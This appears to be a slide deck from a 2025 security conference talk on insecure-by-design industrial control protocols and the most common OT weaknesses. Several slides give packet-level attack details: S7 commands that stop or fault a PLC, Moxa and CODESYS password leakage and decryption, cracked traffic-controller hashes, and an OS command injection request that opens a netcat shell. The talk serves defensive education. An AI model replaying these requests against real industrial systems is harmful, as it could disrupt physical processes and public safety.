

具威脅性工控弱點實例揭密 – The Case Study of the Insecure by Design

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April 8, 2025 @CYBERSEC 2025

Speaker



- Daniel Chiu 任職於 TXOne Networks，擔任Threat Signature Research Team Manager，自2013就業以來專注在DPI的改進和 DPI特徵碼的撰寫，目前帶領團隊分析網路漏洞、開發IPS rule 和ICS Protocol相關研究。
- 興趣:研究網路攻擊手法和改進防禦方法。

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- Introduce the CWE in OT domain
- Top 20 OT CWE counted by TXOne
- Examples



What is Insecure by Design


Keep the Operation Running

What is Insecure by Design


- ❑ 因設計缺陷而本質上缺乏基本安全措施的系統、設備或軟體。這在工業控制系統 (ICS)、物聯網設備(IoT)和老舊系統(Legacy system)下尤其嚴重，在這些領域，安全性並不是開發過程中的主要考慮因素。
- ❑ 能允許攻擊者在不利用安全漏洞或錯誤配置的情況下實現其目標
- ❑ 常見的例子:
 - ✓ 預設帳號密碼 (Default password)
 - 包含寫死密碼、容易猜得到密碼
 - ✓ 缺乏身分認證 (Lack of Authentication)
 - 重大的操作不需要認證身分
 - ✓ 未受限制的存取 (Unrestricted Access)
 - 沒有角色分級，任何使用者都有能力存取資料
 - ✓ 網路傳輸未加密 (No Encryption)
 - 敏感資料被截取

Modbus – Overview


Modbus is a widely used communication protocol in industrial automation and control systems. It was developed in the late 1970s by Modicon (now part of Schneider Electric)



Modbus – Lack of Authentication




Modbus protocol does not check the authority of the message sender.
Anyone can send Modbus commands to slave devices, no authentication required




OCPP – Overview

The Open Charge Point Protocol (OCPP) is an application protocol for communication between Electric vehicle (EV) charging stations and a central management system.




OCPP – Lack of Authentication (CSMS providers)




S7Comm / S7Comm Plus – Overview

S7COMM protocol is an application layer protocol which implements functions for exchanging data between Simatic S7 series PLCs and other devices that supports the S7 protocol – e.g. PCs.



S7Comm / S7Comm Plus – Vulnerability #1 Lack of Authentication




```
S7 Communication
  ✓ Header: (Job)
    Protocol Id: 0x32
    ROSCTR: Job (1)
    Redundancy Identification (Reserved): 0x0000
    Protocol Data Unit Reference: 2
    Parameter length: 16
    Data length: 0
  ✓ Parameter: (PLC Stop)
    Function: PLC Stop (0x29)
    Unknown bytes: 0000000000
    Length part 2: 9
    PI (program invocation) Service: P_PROGRAM
```

CPU stop



S7Comm / S7Comm Plus – Vulnerability #2 Lack of Authentication



S7Comm / S7Comm Plus – Vulnerability #2 Lack of Authentication



Attacker

```
S7 Communication Plus
> Header: Protocol version=V1
v Data: Request DeleteObject
  Opcode: Request (0x31)
  Reserved: 0x0000
  Function: DeleteObject (0x04d4)
  Reserved: 0x0000
  Sequence number: 8
  Session Id: 0x00000384
> Transport flags: 0x34, Bit2-AlwaysSet?, Bit4-AlwaysSet?, Bit5-AlwaysSet?
v Request Set
  Delete Object Id: 0x00000384
  Filling byte: 0x00
> ObjectQualifier
  Data unknown: 00000000
> Trailer: Protocol version=V1
```



PLC

```
S7 Communication Plus
> Header: Protocol version=V1
v Data: Response DeleteObject
  Opcode: Response (0x32)
  Reserved: 0x0000
  Function: DeleteObject (0x04d4)
  Reserved: 0x0000
  Sequence number: 8
> Transport flags: 0x34, Bit2-AlwaysSet?, Bit4-AlwaysSet?, Bit5-AlwaysSet?
v Response Set
  Return value: 0x0000000000000000, Error code: OK, Generic error code: Ok
  Delete Object Id: 0x00000384
  Data unknown: 00000000
> Trailer: Protocol version=V1
```

1. [Request] Delete Object Request


```
S7 Communication Plus
> Header: Protocol version=V1
v Data: Request CreateObject
  Opcode: Request (0x31)
  Reserved: 0x0000
  Function: CreateObject (0x04ca)
  Reserved: 0x0000
  Sequence number: 91
  Session Id: 0x00000384
> Transport flags: 0x34, Bit2-AlwaysSet?, Bit4-AlwaysSet?, Bit5-AlwaysSet?
> Request Set
  Data unknown: 00000000
> Trailer: Protocol version=V1
```

2. [Response] Delete Object Request


3. [Request] CreateObject with the deleted session id

4. PLC Error and enter defect-mode

What is TTPs



Hard
Challenging
Annoying
Simple
Easy
Travail



Concept

The Pyramid of Pain is a conceptual model for the effective use of Cyber Threat Intelligence in threat detection operations, with a particular emphasis on increasing the adversaries' cost of operations

The TTPs in ICS incidents

- MITRE ATT&CK® ICS Matrix
- TTPs that have been used in real-world attacks

Initial Access 12 techniques	Execution 9 techniques	Persistence 6 techniques	Privilege Escalation 2 techniques	Evasion 6 techniques	Discovery 5 techniques	Lateral Movement 7 techniques	Collection 11 techniques	Command and Control 3 techniques	Inhibit Response Function 14 techniques	Impair Process Control 5 techniques	Impact 12 techniques
Spearphishing Attachment	Scripting	Valid Accounts	Exploitation for Privilege Escalation	Masquerading	Remote System Discovery	Valid Accounts	Data from Information Repositories	Standard Application Layer Protocol	Service Stop	Unauthorized Command Message	Loss of Productivity and Revenue
Remote Services	Command-Line Interface	Hardcoded Credentials	Hooking	Change Operating Mode	Remote System Information Discovery	Lateral Tool Transfer	Screen Capture	Commonly Used Port	Data Destruction	Modify Parameter	Theft of Operational Information
Drive-by Compromise	User Execution	Modify Program		Indicator Removal on Host	Network Sniffing	Remote Services	Adversary-in-the-Middle	Connection Proxy	Denial of Service	Brute Force I/O	Loss of View
External Remote Services	Change Operating Mode	System Firmware		Exploitation for Evasion	Network Connection Enumeration	Exploitation of Remote Services	Automated Collection		Block Command Message	Spoof Reporting Message	Manipulation of Control
Exploitation of Remote Services	Modify Controller Tasking	Project File Infection		Rootkit	Wireless Sniffing	Program Download	Data from Local System		Block Reporting Message	Module Firmware	Denial of Control
Supply Chain Compromise	Native API	Module Firmware		Spoof Reporting Message		Hardcoded Credentials	Monitor Process State		Device Restart/Shutdown		Denial of View
Replication Through Removable Media	Execution through API					Default Credentials	Program Upload		Manipulate I/O Image		Loss of Control
Exploit Public-Facing Application	Graphical User Interface						Point & Tag Identification		System Firmware		Loss of Safety
Internet Accessible Device	Hooking						Detect Operating Mode		Activate Firmware Update Mode		Manipulation of View
Rogue Master							I/O Image		Alarm Suppression		Damage to Property
Transient Cyber Asset							Wireless Sniffing		Block Serial COM		Loss of Availability
Wireless Compromise									Modify Alarm Settings		Loss of Protection
									Rootkit		
									Change Credential		

The TTPs in ICS incidents - Initial Access

The adversary is trying to get into your ICS environment.

Initial Access 12 techniques

Spearphishing Attachment

Remote Services

Drive-by Compromise

External Remote Services

Exploitation of Remote Services

Supply Chain Compromise

Replication Through Removable Media

Exploit Public-Facing Application

Internet Accessible Device

Rogue Master

Transient Cyber Asset

Wireless Compromise

- BlackEnergy targeted energy sector organizations in a wide-reaching email spearphishing campaign. Adversaries utilized malicious Microsoft Word documents attachments. [1]
- INCONTROLLER can use the CODESYS protocol to remotely connect to Schneider PLCs and perform maintenance functions on the device. [2]
- OilRig has been seen utilizing watering hole attacks to collect credentials which could be used to gain access into ICS networks. [3]
- Stuxnet executes malicious SQL commands in the WinCC database server to propagate to remote system. [4]
- WannaCry initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks. [5]
- Dragonfly trojanized legitimate ICS equipment providers software packages available for download on their websites. [6]
- Nuclear power plant officials suspect someone brought in Conficker by accident on a USB thumb drive, either from home or computers found in the power plant's facility. [7]
- Sandworm Team actors exploited vulnerabilities in GE's Cimplicity HMI and Advantech/Broadwin WebAccess HMI software which had been directly exposed to the internet. [8] [9]

The TTPs in ICS incidents - Lateral Movement

The adversary is trying to move through your ICS environment.

- TEMP.Veles used valid credentials when laterally moving through RDP jump boxes into the ICS environment. ^[1]
- WannaCry can move laterally through industrial networks by means of the SMB service. ^[2]
- INCONTROLLER can use the CODESYS protocol to remotely connect to Schneider PLCs and perform maintenance functions on the device. ^[3]

Lateral Movement 7 techniques

Valid Accounts

Lateral Tool Transfer

Remote Services

Exploitation of Remote Services



Program Download

Hardcoded Credentials

Default Credentials

- Bad Rabbit initially infected IT networks, but by means of an exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks. ^[4]
- INCONTROLLER can use the CODESYS protocol to download programs to Schneider PLCs. ^[5]
- Stuxnet uses a hardcoded password in the WinCC software's database server as one of the mechanisms used to propagate to nearby systems. ^[6]


Top 10 Techniques used by Attack Groups/Software



Top 10 Techniques used by APT






Example of Obtaining a Valid Account – Moxa protocol CVE-2016-XXXX

- The private protocol provides Moxa devices with some basic device information required for more advanced functionality in response to the sender.



Example of Obtaining a Valid Account – Moxa protocol CVE-2016-XXXX

- Many settings and info need to device password to access (such as upgrade F/W, get Console, ...etc)



[Attacker] Send get admin(0x29) info command

```
User Datagram Protocol, Src Port: 57026, Dst Port: 4800
Data (21 bytes)
  Data: 29000014000000001051008010510090e85d4635bc
```

[OP][Status][Length]Data...[Product Name][00 08][Model Name][Mac Address]


[Victim] Device response the info and password

```
0020 02 80 12 c0 de c2 01 88 c6 ad a9 00 01 80 00 00 .....
0030
0040
0050
0060 3a 34 35 30 30 0d 00 00 00 00 4e 50 35 31 31 30 :4900... ..NP5110
0070 5f 31 34 32 32 40 4e 50 35 31 31 30 06 14 01 1422@NP 5110...
0080 00 5e 5e 06 54 00 2d 32 a0 08 00 62 18 03 00 e8 .^^.T.-2 ...b...
0090 a0 08 00 62 7a 06 2c 02 5c 29 e0 08 00 62 18 03 ...bz.,. \)...b..
00a0 00 e8 0a 00 0a 00 00 00 30 e0 00 9f 07 00 00 00 ..... 0.....
00b0 98 07 96 01 fc 2e 28 05 00 60 18 03 00 e8 0a 00 ..... (. ^...
00c0 00 00 01 00 00 00 0a 00 0e 53 28 05 00 50 02 01 ..... -S(.....
00d0 00 00 0d 00 0f 00 b0 06 22 01 b6 06 54 00 20 32 ..... "....T. 2
00e0 40 0b 00 62 18 03 00 e8 40 0b 00 62 dc 06 84 03 0...b.... @...b...
00f0 ee 1e 31 31 31 31 31 00 00 e8 00 00 00 00 04 03 .11111.....
```

Password is 11111

Example of Obtaining a Valid Account – CODESYS Protocol CVE-2019-XXXX



- CODESYS is an integrated development environment for programming controller.



CODESYS Protocol





PLC/HMI



Example of Obtaining a Valid Account – CODESYS Protocol CVE-2019-XXXX

- CODESYS is an integrated development environment for programming controller.



MITM suffering

CODESYS Protocol



PLC/HMI

```
Data Tag ID(0x0010) 0x10 username
ID: 0x00000010
.... 0... = Type: Data (0x0)
Size: 4
Data: 64656d6f

Data Tag ID(0x0011) 0x11 password(encrypted)
ID: 0x00000011
.... 0... = Type: Data (0x0)
Size: 32
Data: 82043721c6593702fc110103ee757068af546875da3f7068d944722aea556252
```

Decrypt the password

0080	80 00 78 56 34 12 81 01 aa 00 10 04 64 65 6d 6f	..xV4... ..demo
0090	11 a0 80 00 82 04 37 21 c6 59 37 02 fc 11 01 03	!..Y7....
00a0	ee 75 70 68 af 54 68 75 da 3f 70 68 d9 44 72 2a	..uph..Thu..?ph..Dr*
00b0	ea 55 62 52	..UbR

XOR

F2 65 44 52 B1 36 45 66 CD 23 32 37 76 75 70 68 37 54 68 75 62
3F 70 68 61 44 72 2A 72 55 62 52

||

password1234

Keep the Operation Running

Device User Logon

You are currently not authorized to perform this operation on the device. Please enter the name and password of an user account which has got the sufficient rights.

Device name:

Device address: 0384.1000.2DDC.AC10.C865

User name: demo

Password:

Operation: View
Object: "Device"

OK Cancel

Example of Obtaining a Valid Account – Traffic Signal Controller System CVE-2023-XXXX



EOS

STATUS [TBC FREE] 05/30/24 04:47:22

12345678 90123456 2 YEL- 3.1
PH STAT .YN..Y.N ----- MAX OUT
VEH CALL .XC..S..
PED CALL ----- 6 YEL- 3.1
VEH OVLP RNG----- GAP OUT

FREE LOC 0s/ 0 EVENT PL 4
CRD PTN 0 SYS 0s TIMING 1
SEQUENCE 1
12345678 90123456 DETECTOR PL 1
TSP/SCP ----- SCP STR 1
PREEMPT --....-- SCP DET 1
LP FLAG SOURCE TBC
CITY: 32 INTERSECTION: 3 SYS CMD ETH

Sub Menu Main Menu

1 2 3
4 5 6
Status 7 8 - 9
Enter SpFn 0 + Clear
Help Next Screen Next Page Next Data


► Phase Output

▼ Channel Output

	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16
Red	●	●	●	●	●	●	●	●	●	●	●	●	●	●	●	●
Yellow	●	●	●	●	●	●	●	●	●	●	●	●	●	●	●	●
Green	●	●	●	●	●	●	●	●	●	●	●	●	●	●	●	●

Example of Obtaining a Valid Account – Traffic Signal Controller System CVE-2023-XXXX Vulnerability #1

- Lack a password requirement for access to log files, database and configuration files



```
5985 05/29/2024 12:11:18.6 ON LINE
5986 05/29/2024 12:24:27.1 ALARM ACTIVE ALM 3
5987 05/29/2024 12:24:32.2 ALARM INACTIVE ALM 3
5988 05/29/2024 13:09:29.4 PREEMPTOR ACTIVE PMT 4
5989 05/29/2024 13:09:29.4 OFF LINE
5990 05/29/2024 13:09:54.9 PREEMPTOR INACTIVE PMT 4
5991 05/29/2024 13:09:54.9 COORDINATOR ACTIVE CTL 1
5992 05/29/2024 13:09:54.9 ON LINE
5993 05/29/2024 19:00:00.0 COORDINATOR LOCAL FREE CTL 1
5994 05/29/2024 19:00:00.0 COORDINATOR PROGRAM FREE CTL 1
5995 05/29/2024 23:14:39.6 ALARM ACTIVE ALM 3
5996 05/29/2024 23:14:51.4 ALARM INACTIVE ALM 3
5997 05/30/2024 01:24:59.1 PREEMPTOR ACTIVE PMT 4
5998 05/30/2024 01:24:59.1 OFF LINE
5999 05/30/2024 01:25:49.1 PREEMPTOR INACTIVE PMT 4
6000 05/30/2024 01:25:49.1 ON LINE
```

Download the log file

```
0056 0bb8 0000 0000 0000 0020 0003 004f .V.....o
0101 0000 0303 0211 aa05 6296 92a9 d565 .....b....e
0000 0000 0000 0000 0000 0000 0000 0000 .....
0000 0000 0000 0000 0000 0000 0000 0000 .....
0000 0000 0000 0000 0000 0000 0000 0000 .....
0000 0000 0000 0000 0000 0000 0000 0000 .....
0000 0000 0000 0000 0000 0000 0000 0000 .....
0000 0000 0000 0000 0000 0000 0000 0000 .....
0000 0000 0000 0000 0000 0003 0000 0003 .....
0002 0050 0000 0000 0000 0000 0000 0000 ...P.....
0000 0000 0000 4000 1b70 0100 2860 3020 .....@..p..('0
0800 0000 0000 0000 0000 0000 0001 f811 .....
f811 f911 0003 0000 2020 2020 204d 4149 ..... MAI
4445 0004 0000 4450 4440 4450 4100 0000 NO TURNPIKE UTH
4450 4454 0000 2020 2020 2000 0000 4550 ORITY .EX
4454 2033 0000 4020 524f 5554 0000 3131 IT 31 3 CODE 11
5100 2020 4248 4444 4546 4150 0000 2020 1 - BINDERD
```

Download the database file

Example of Obtaining a Valid Account – Traffic Signal Controller System CVE-2023-XXXX **Vulnerability #2**

- Use a weak hash algorithm for encrypting privileged user credentials

```

[REDACTED] 7374 7261 746f 7200 0000 [REDACTED] strator...
4ebd 440d 9950 4722 d80d e606 ea85 07da N.D..PG".....
ffff ffff ffff ffff 4349 5459 0063 0000 .....CITY.c..
0000 0000 0000 0000 6ae0 7dcb 33ec 3b7c .....j.}.3.;|
814d f797 cbda 0f87 0000 0000 03fe ffff .M.....
4d [REDACTED] 4c00 0000 0000 0000 0000 M [REDACTED] L.....
81d7 118d 88d5 5701 89ac e943 bd14 f142 .....W....C...B
ffff ffff ffff ffff 454c 4300 6963 0000 .....ELC.ic..
0000 0000 0000 0000 1f36 c15d 6a3d 18d5 .....6.]j=..
2e8d 493b c818 7cb9 ffff ffff ffff 7fff ..I;..|.....
7075 626c 6963 0000 0000 0000 0000 0000 public.....
0000 0000 0000 0000 0000 0000 0000 0000 .....
ffff ffff ffff ffff 7075 626c 6963 0000 .....public..
0000 0000 0000 0000 0000 0000 0000 0000
```

The database file

Account: ____strator

Password (MD5):

4ebd440d99504722d80de606ea8507da

Password (Cracked): 2360


Account: M____L

Password (MD5):

81d7118d88d5570189ace943bd14f142

Password (Cracked): 9111

Example of Obtaining a Valid Account – Traffic Signal Controller system



Chaining two CVEs together can quickly obtain privileged access to the system.



Top 20 weakness in OT/ICS environment

What is Common Weakness Enumeration (CWE)

- A catalog of software and hardware weaknesses that can lead to vulnerabilities.
- It helps organizations identify, understand, and mitigate these issues to improve system security and resilience



Common Weakness Enumeration (CWE)

CWE-787: Out-of-bounds Write

Weakness ID: 787

Vulnerability Mapping: ALLOWED

Abstraction: Base

View customized information:

Conceptual

Operational


Mapping
Friendly

Complete

Custom

Description

The product writes data past the end, or before the beginning, of the intended buffer.



Example 1

The following code attempts to save four different identification numbers into an array.

Example Language: C

```
int id_sequence[3];

/* Populate the id array. */

id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

<https://cwe.mitre.org/data/definitions/787.html>

Top 20 weakness(CWE) in OT (1999~2023)


- Count by number of CVEs

Rank	Count	Weakness ID	Name
1	588	CWE-787	Out-of-bounds Write
2	390	CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer
3	331	CWE-125	Out-of-bounds Read
4	325	CWE-20	Improper Input Validation
5	300	CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6	241	CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7	239	CWE-200	Exposure of Sensitive Information to an Unauthorized Actor
8	221	CWE-287	Improper Authentication
9	177	CWE-89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
10	171	CWE-798	Use of Hard-coded Credentials
11	165	CWE-416	Use After Free
12	121	CWE-306	Missing Authentication for Critical Function
13	117	CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
14	103	CWE-120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
15	99	CWE-476	NULL Pointer Dereference
16	99	CWE-400	Uncontrolled Resource Consumption
17	98	CWE-330	Use of Insufficiently Random Values
18	92	CWE-352	Cross-Site Request Forgery (CSRF)
19	86	CWE-190	Integer Overflow or Wraparound
20	85	CWE-522	Insufficiently Protected Credentials

Top 1 CWE-787 Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer.


Vulnerability Description	CVE-2022- Rockwell Automation Buffer Overflow
Impact	Denial of Service, or Remote Code Execution
Root Cause	The buffer size used to generate Windows log events is 0x400 (1024 Bytes) "C:\ProgramData\ Software\ \aaa...aaa " Not handled well at user requests



Top 2 CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer


The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Vulnerability Description	CVE-2018-10693 ☐ ☐ ☐ ☐ AWK-3121 Buffer Overflow
Impact	Denial of Service, or Remote Code Execution
Root Cause	The value controlled by the user and there is no length check



CWE Weakness abstraction levels


The vulnerability description may not necessarily include a clear depiction of low-level CWEs



Top 3 CWE-125 Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer

Vulnerability Description	CVE-2022- IGSS SCADA Memory Leak
Impact	Denial of Service
Root Cause	Missing validation of the Size field [1] in a request sent to the server and check the real data < size field[2] Cause buffer over read and exception handler does not release the memory



Attacker sending a crafted request



0030	fa f0 40 90 00 00	52 00 01 00 00 00 07 00 00 00	..@...R.
0040	00 00 00 00 01 00 00 00	05 00 00 00 00 00 00 00 00	
0050	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	
0060	00 00 00 00 1 00 00 00	2 00 00 00 00 00 00 00 00	
0070	00 00 00 00 00 00 00 04	41 41 41 41 41 41 41 41	 AAAAAAAA
0080	41 41 41 41 41 41 41 41		AAAAAAA

Popular in the past 3 years

Top 13 CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

```
POST /action.php HTTP/1.1
Host: 172.16.15.78
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.4
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
```

```
host=%3Bsudo+%2Fusr%2Fsbin%2Fservice+.%2F.%2Fbin%2Fnc+-nvlp+59478+-e+%2Fbin%2Fsh%26PingCheck%3DTestf
```

```
POST /dwr/call/plaincall/EventHandlersDwr.testProcessCommand.dwr HTTP/1.1
Host: 172.16.5.68
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
Origin: http://172.16.1.7
DNT: 1
Connection: keep-alive
Referer: http://172.16.1.7/
Upgrade-Insecure-Requests: 1
```

```
callCount=1&page=%2Fevent_handlers.shtm&httpSessionId=%0D%0A&scriptSessionId=26D579040C1C11D2E21D1E5F321094E5866&c0-scriptName=EventHandlersDwr&c0-methodName=testProcessCommand&c0-id=0&c0-param0=string%3AC%3A%5C%5Cwindows%5C%5Csystem32%5C%5Ccalc.exe&c0-param1=string%3A15&batchId=24
```

Summary

- OT/ICS的弱點成因，本質上與IT沒什麼不同
 - 有相同的CWE可以參考，相似的MITRE ATT&CK可以參考
 - 軟體開發時沒有將資訊安全的設計考量在內
- 沒有使用高深的技術和複雜的攻擊手段
 - 透過有Valid Account (T0859)或是Spearphishing Attachment (T0856)，進入OT網路
 - 利用VBS, shell, bat等Scripting (T0853)，嘗試攻擊其他Remote Services(T0866), 感染其他設備 Lateral Tool Transfer(T0867)
 - 使用Unauthorized Command Message(T0855)，攻擊OT設備
 - 造成生產中斷Loss of Productivity and Revenue (T0855)
- 但這些簡單的弱點，卻能給OT帶來致命的災害

Mitigations

1. 佈署資安產品

- 能裝安裝資安防護軟體 => EPP/EDR
- 無法安裝資安防護軟體 => Firewall/IPS

2. 減少攻擊面

- 微分割 – Micro Segmentation
 - 只允許特定的IP address/Mac address跟設備連線
 - 只允許用特定的Protocol, port 跟設備連線
- 關閉不必要的服務
 - 關閉遠端遙控功能 (RDP, VNC, SSH, ...,etc)
 - 關閉除錯模式/開發功能介面(CODESYS, Admin page)

3. 妥善設定產品的設定檔

- 開啟加密功能
- 開啟身分驗證
- 使用VPN



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